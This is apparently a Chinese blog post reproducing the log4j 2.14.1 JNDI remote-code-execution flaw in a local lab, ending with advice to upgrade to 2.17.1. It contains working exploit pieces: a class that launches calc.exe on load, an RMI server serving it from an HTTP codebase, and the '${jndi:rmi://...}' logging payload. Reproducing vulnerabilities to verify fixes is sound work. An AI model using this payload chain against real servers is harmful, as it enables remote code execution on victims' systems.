log4j 2.0~2.14.1版本远程执行代码漏洞复现

简介

近日不少公司因为log4j2.x版本远程执行代码漏洞问题加班加点,我自己本身也因此花了不少时间去修复各个项目的漏洞,首先不可否认logj2是一款优秀的日志工具,能这么大范围的影响(据说腾讯京东都受到影响,甚至百度搜索输入特殊代码也是能执行的),也说明了大家对这个框架的认可。我也是使用了log4j1、logback、log4j2后觉得最好用的确实还是log4j2而且logback问题也是有的(我之前的博客有说到一次,其实问题也不少的这里就不举例了)。然后我这为了能继续使用这个框架,自然是选择升级版本最方便,为了自己也为了大家验证升级后是否还有这个问题,我这就来复现一下这次的问题。

问题重现

首先引入log4j2有问题版本的依赖到项目中(以下为我测试加入的依赖):

        <!--log4j2支持-->
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>1.7.30</version>
        </dependency>
        <!--slf4j对应log4j2的中间件,即桥接 -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-slf4j-impl</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-web</artifactId>
            <version>2.14.1</version>
            <scope>runtime</scope>
        </dependency>

首先编写一个可执行命令的类(以windows为例):

package test;

import java.io.IOException;

public class ExecObj {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }
}

上面的代码就是一个简单的类,然后有一个静态代码块,加上一个打开windows计算器的代码,由于静态代码块会在类加载的时候执行所以只要这个类被加载了就会被执行。
然后编写rmi服务:

package test;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {

    public static void main(String[] args) throws Exception {
        //注册服务的请求端口
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:80/";
        //这边是将上面所写的类绑定到这个url里面
        Reference ref = new Reference("ExecObj", "ExecObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("ExecObj", referenceWrapper);
        System.out.println("=======rmi服务启动成功=========");
    }
}

由于将ExecObj这个类和http://127.0.0.1:80/ 本地80端口进行了地址绑定,所以我这边启动了ngnix,并且将ExecObj.java类放到了ngnix的html目录(需配置该目录为静态目录http可直接访问),然后利用javac命令将这个类进行编译,这边我把类的package第一行去掉了:
在这里插入图片描述
在这里插入图片描述
配置好ngnix和编译完这个类之后,先试着用浏览器直接访问80端口以及这个class:
在这里插入图片描述
访问http://localhost/ExecObj.class如下可直接下载这个class文件
在这里插入图片描述
为什么要做这一步呢,因为服务端将这个类绑定到了http://127.0.0.1:80/这个地址,然后客户端只要请求这个地址rmi://127.0.0.1:1099/ExecObj 后就会去http://127.0.0.1:80/下面找到这个对应的class文件下载并加载,所以要保证这个类是可下载的才行。

下面编写客户端请求:

package test;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class TestRmiClient {
    private static Logger log = LoggerFactory.getLogger(TestRmiClient.class);

    public static void main(String[] args) {
        //这个系统参数跟jdk版本有关系,我这边版本的jdk8需要设置这个参数才可以发起rmi请求
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //模拟实际服务中的日志打印,将请求端输入的这串代码打印出来
        log.info("${jndi:rmi://127.0.0.1:1099/ExecObj}");
    }
}

这边提一下为何要设置com.sun.jndi.rmi.object.trustURLCodebase这个参数,
在这里插入图片描述
具体的大家可以参考这个文章,https://www.cnblogs.com/tr1ple/p/12335098.html

后面我们实际尝试一下是否可行:
启动rmi服务类:
在这里插入图片描述
启动客户端类进行日志的打印:
在这里插入图片描述
可以看到计算器被调出来了。
为了方便观察是否真的进行了文件下载,我这把rmiserver打成jar包放到虚拟机中运行然后进行抓包,需要下载打包好的服务端可以到这下载:https://download.csdn.net/download/qq_33812847/60686389

虚拟机中启动服务:
在这里插入图片描述
将客户端日志打印中的ip改成虚拟机ip后执行(这边需要注意将虚拟机的服务端口1099开放,然后由于jar包中url绑定的ip是127.0.0.1这个是本机的ip所以虚拟机中就不用在搭建ngnix了,总之这个url是任意的只要能访问就行也可以改成虚拟机的ip但是这样虚拟机就的再搭一个ng了比较麻烦就不搞了):
在这里插入图片描述

抓包

查看抓包日志:
在这里插入图片描述
可以看到确实发起了文件下载的请求。

问题解决

把log4j2的依赖升级到2.17.0及以上版本就行了,到maven中央库搜log4j,阿里云镜像中也可以下载了,以下是中央库的地址和搜索情况
在这里插入图片描述

现在最新的2.16.0以上的版本彻底删除了这一块漏洞代码的内容,但是2.16还是有一个漏洞会导致程序意外终止,2.17.0有一个中危的漏洞只要可以修改配置文件就可以远程执行任意代码,应该更新至2.17.1

总结

最后希望大家赶紧修复漏洞,不要被有心之人利用,修复完后要记得验证一下是否还有问题。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值